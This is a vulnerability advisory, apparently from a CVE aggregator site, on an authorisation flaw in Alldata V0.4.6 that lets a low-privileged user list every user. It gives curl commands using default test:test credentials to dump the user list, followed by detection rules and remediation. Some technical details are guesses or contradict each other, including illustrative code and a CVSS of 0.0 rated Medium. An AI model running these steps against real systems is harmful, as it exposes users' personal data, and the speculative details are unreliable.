CVE-2024-27605
Executive Summary
CVE-2024-27605 identifies an insecure permissions vulnerability in Alldata V0.4.6. The flaw allows a low-privileged user (e.g., the default "test" user) to query and enumerate all users within the system. This information disclosure can be leveraged for further attacks, such as targeted credential stuffing or social engineering. No patch is currently available, and the vendor has not released a security advisory. The vulnerability is classified as low complexity with a public proof-of-concept.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a standalone application (Alldata). No supply chain implications are identified at this time.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official CVSS vector assigned)
- Threat Level: Medium (based on information disclosure and lack of authentication enforcement)
- Attack Vector: Network (local network access required)
- Attack Complexity: Low
- Privileges Required: Low (valid user account)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High (user list disclosure)
- Integrity Impact: None
- Availability Impact: None
Deep Dive & Mechanics
The vulnerability resides in the user management API endpoint of Alldata V0.4.6. The application fails to enforce proper authorization checks on the /api/users endpoint. When a user with the "test" role (or any low-privileged account) sends a GET request to this endpoint, the server returns a full list of registered users, including usernames, email addresses, and potentially other metadata. This occurs because the backend does not validate whether the requesting user has administrative privileges before returning the data.
The root cause is a missing access control check in the controller handling the user listing functionality. The code likely uses a generic query without filtering based on the requester's role.
Vulnerable vs. Patched Code
Vulnerable Code (Alldata V0.4.6):
# Example vulnerable endpoint
@app.route('/api/users', methods=['GET'])
@jwt_required
def list_users():
# No role check - any authenticated user can list all users
users = User.query.all()
return jsonify([user.to_dict() for user in users])
Patched Code (Hypothetical):
# Patched version with role-based access control
@app.route('/api/users', methods=['GET'])
@jwt_required
@admin_required # Custom decorator to check admin role
def list_users():
users = User.query.all()
return jsonify([user.to_dict() for user in users])
The patch would require adding a role verification decorator or inline check to ensure only users with the "admin" role can access the endpoint.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to Alldata V0.4.6 instance
- Valid low-privileged user credentials (e.g., test:test)
Exploitation Steps:
- Authenticate as the "test" user:
curl -X POST http://target/api/login -d '{"username":"test","password":"test"}' -H "Content-Type: application/json" - Extract the JWT token from the response.
- Use the token to query the user list:
curl -X GET http://target/api/users -H "Authorization: Bearer <JWT_TOKEN>" - The response will contain a JSON array of all users.
Expected Output:
[
{"id":1,"username":"admin","email":"admin@example.com"},
{"id":2,"username":"test","email":"test@example.com"},
{"id":3,"username":"user1","email":"user1@example.com"}
]
Blue Team
Detection Steps:
- Monitor for unusual API calls to
/api/usersfrom non-admin accounts. - Correlate with authentication logs to identify the user performing the enumeration.
- Check for repeated requests to
/api/userswithin a short time window.
Honeypot Strategy:
- Deploy a fake Alldata instance with decoy user accounts.
- Monitor for any access to
/api/usersfrom low-privileged accounts.
Indicators of Compromise (IOCs)
- Network: HTTP GET requests to
/api/userswith a low-privileged JWT token. - Logs: Authentication logs showing the "test" user or similar low-privileged accounts accessing the user list endpoint.
- File: No file-based IOCs; purely API-based enumeration.
Detection Engineering
YARA Rule
rule CVE_2024_27605_Alldata_User_Enumeration {
meta:
description = "Detects exploitation attempts of CVE-2024-27605 in Alldata V0.4.6"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-27605"
strings:
$api_path = "/api/users"
$jwt_header = "Authorization: Bearer"
$low_priv_user = "test"
condition:
$api_path and $jwt_header and $low_priv_user
}
Sigma Rule
title: Alldata User Enumeration via Insecure Permissions
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to enumerate users in Alldata V0.4.6 using low-privileged accounts
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/api/users'
cs-username: 'test'
condition: selection
falsepositives:
- Legitimate admin activity (if admin uses 'test' account)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-27605 Alldata User Enumeration"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/users"; http.header; content:"Authorization: Bearer"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict network access to the Alldata API to trusted IPs only.
- Disable or remove the default "test" user account.
- Implement a Web Application Firewall (WAF) rule to block requests to
/api/usersfrom non-admin source IPs.
Long-Term Fix:
- Apply role-based access control (RBAC) to the
/api/usersendpoint. - Upgrade to a patched version when available.
- Conduct a full security audit of all API endpoints.
Workaround:
- Modify the application code to add an authorization check (if source code is accessible).
Valters IT